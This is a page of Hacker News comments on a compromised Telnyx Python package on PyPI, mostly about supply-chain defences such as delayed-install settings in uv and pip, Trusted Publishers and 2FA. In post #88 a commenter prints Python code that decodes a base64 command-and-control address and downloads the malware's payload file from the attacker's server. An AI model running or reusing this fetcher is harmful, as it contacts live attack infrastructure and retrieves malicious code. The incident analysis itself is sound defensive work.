Live data from Hacker News

Telnyx package compromised on PyPI

telnyx.com

81–90 of 153 posts

Re: Telnyx package compromised on PyPI

#81

Earlier quoted context omitted.

Sorry - call me uninformed. But I do not really understand how choosing uv makes me less safe than using pip. Care to explain? Would love to learn.

It is a bit of a leap. They are saying that if you are using uv, then you likely have a broad set of dependencies because you require a dependency management tool, therefore you are more susceptible to a supply chain attack by virtue of having a wider attack surface.

Ahhhhhh thanks a ton. Now I get it. Meaning I get what you are saying. Not what they were implying. But yeah. I can understand at least how one could arrive at that idea.

To me personally this idea still sounds a bit off - but as a heuristic it might have some merit in certain circumstances.

Re: Telnyx package compromised on PyPI

#82
post #23

For those using uv , you can at least partially protect yourself against such attacks by adding this to your pyproject.toml : [tool.uv] exclude-newer = "7 days" or this to your ~/.config/uv/uv.toml : exclude-newer = "7 days" This will prevent uv picking up any package version released within the last 7 days, hopefully allowing enough time for the community to detect any malware and yank the package version before you…

I really wish uv had some sandboxing built in.

Please open an issue on the uv tracker! This is a design space we’re actively thinking about, and it’s valuable to hear user perspectives on what they would and wouldn’t want a sandbox to do.

Re: Telnyx package compromised on PyPI

#83
post #69

So both this and litellm went straight to PyPI without going to GitHub first. Is there any way to setup PyPI to only publish packages that come from a certain pattern of tag that exists in GH? Would such a measure help at all here?

Yes: if you use a Trusted Publisher with PyPI, you can constrain it to an environment. Then, on GitHub, you can configure that environment with a tag or branch protection rule that only allows the environment to be activated if the ref matches. You can also configure required approvers on the environment, to prevent anyone except your account (and potentially other maintainers you’d like) from activating the environment.

Re: Telnyx package compromised on PyPI

#84
> If the version shown is 4.87.1 or 4.87.2, treat the environment as compromised.

More generally speaking one would have to treat the computer/container/VM as compromised. User-level malware still sucks. We've seen just the other day that Python code can run at startup time with .pth files (and probably many other ways). With a source distribution, it can run at install time, too (see e.g. https://zahlman.github.io/posts/python-packaging-3/).

> What to Do If Affected

> Downgrade immediately:

> pip install telnyx==4.87.0

Even if only the "environment" were compromised, that includes pip in the standard workflow. You can use an external copy of pip instead, via the `--python` option (and also avoid duplicating pip in each venv, wasting 10-15MB each time, by passing `--without-pip` at creation). I touch on both of these in https://zahlman.github.io/posts/python-packaging-2/ (specifically, showing how to do it with Pipx's vendored copy of pip). Note that `--python` is a hack that re-launches pip using the target environment; pip won't try to import things from that environment, but you'd still be exposed to .pth file risks.

Re: Telnyx package compromised on PyPI

#85

Earlier quoted context omitted.

The 2FA of whatever account is publishing the package. I'm pretty sure Pypi already has this figured out except they seem to allow you to make an API key which just bypasses checking a 2nd factor.

Which account is publishing the package, in a CI/CD context? It's not clear that any particular account is, since the set of people who can trigger a workflow in CI/CD aren't necessarily (and in fact aren't often) the same set of people who can create an API token on PyPI.

The user that owns the API key or whoever it already associates what account is doing the publishing. It isn't a new problem.

Re: Telnyx package compromised on PyPI

#86
post #23

For those using uv , you can at least partially protect yourself against such attacks by adding this to your pyproject.toml : [tool.uv] exclude-newer = "7 days" or this to your ~/.config/uv/uv.toml : exclude-newer = "7 days" This will prevent uv picking up any package version released within the last 7 days, hopefully allowing enough time for the community to detect any malware and yank the package version before you…

Is “7 days” valid? Docs suggest it has to be an iso 8601 period or a rfc 3339 timestamp.

Re: Telnyx package compromised on PyPI

#87

> The Telnyx platform, APIs, and infrastructure were not compromised. This incident was limited to the PyPI distribution channel for the Python SDK. Am I being too nitpicky to say that that is part of your infrastructure? Doesn't 2FA stop this attack in its tracks? PyPI supports 2FA, no?

Yeah at this point I’d really like for pypi to insist on 2FA and email workflows for approving a release.

Yeah it means you don’t get zero click releases. Maybe boto gets special treatment

Re: Telnyx package compromised on PyPI

#88
How can we get the wav ? `curl -A "Mozilla/5.0" "http:///hangup.wav"` does hang.

No ... I tried hard. But still get a timeout.

    import urllib.request
    import base64

    def _d(x):
        return base64.b64decode(x).decode("utf-8")


    C2C_URL = _d("aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg==")
    # C2C_URL = "http://XXXXX:8080/ringtone.wav"

    r = urllib.request.Request(
        C2C_URL, headers={_d("VXNlci1BZ2VudA=="): _d("TW96aWxsYS81LjA=")}
    )
    with urllib.request.urlopen(r, timeout=15) as d:
        with open("/tmp/exatracted_tpcp.wav", "wb") as f:
            f.write(d.read())

Re: Telnyx package compromised on PyPI

#89
post #56

Earlier quoted context omitted.

Love it! Let those pip users find the compromised packages for us uv users.

Until everyone waits 7 days to install everything so the compromise is discovered on the 8th day. End result will be everyone runs COBOL only.

But not all project exploited in a supply chain attack get exploited on the same day.

So when project A gets pwned on day 1 and then, following the attack, project B gets pwned on day 3, if users wait 7 days to upgrade, then that leaves two days for the maintainers of project B to fix the mess: everybody shall have noticed on the 8th day that package A was exploited and that leaves time for project B (and the other projects depending on either A or B) to adapt / fix the mess.

As a sidenote during the first 7 days it could also happen that maintainers of project A notices the shenanigans.

Re: Telnyx package compromised on PyPI

#90
post #23

For those using uv , you can at least partially protect yourself against such attacks by adding this to your pyproject.toml : [tool.uv] exclude-newer = "7 days" or this to your ~/.config/uv/uv.toml : exclude-newer = "7 days" This will prevent uv picking up any package version released within the last 7 days, hopefully allowing enough time for the community to detect any malware and yank the package version before you…

Pip maintainer here, to do this in pip (26.0+) now you have to manually calculate the date, e.g. --uploaded-prior-to="$(date -u -d '3 days ago' '+%Y-%m-%dT%H:%M:%SZ')" In pip 26.1 (release scheduled for April 2026), it will support the day ISO-8601 duration format, which uv also supports, so you will be able to do --uploaded-prior-to=P3D, or via env vars or config files, as all pip options can be set in either.

[flagged]
Post reply on HN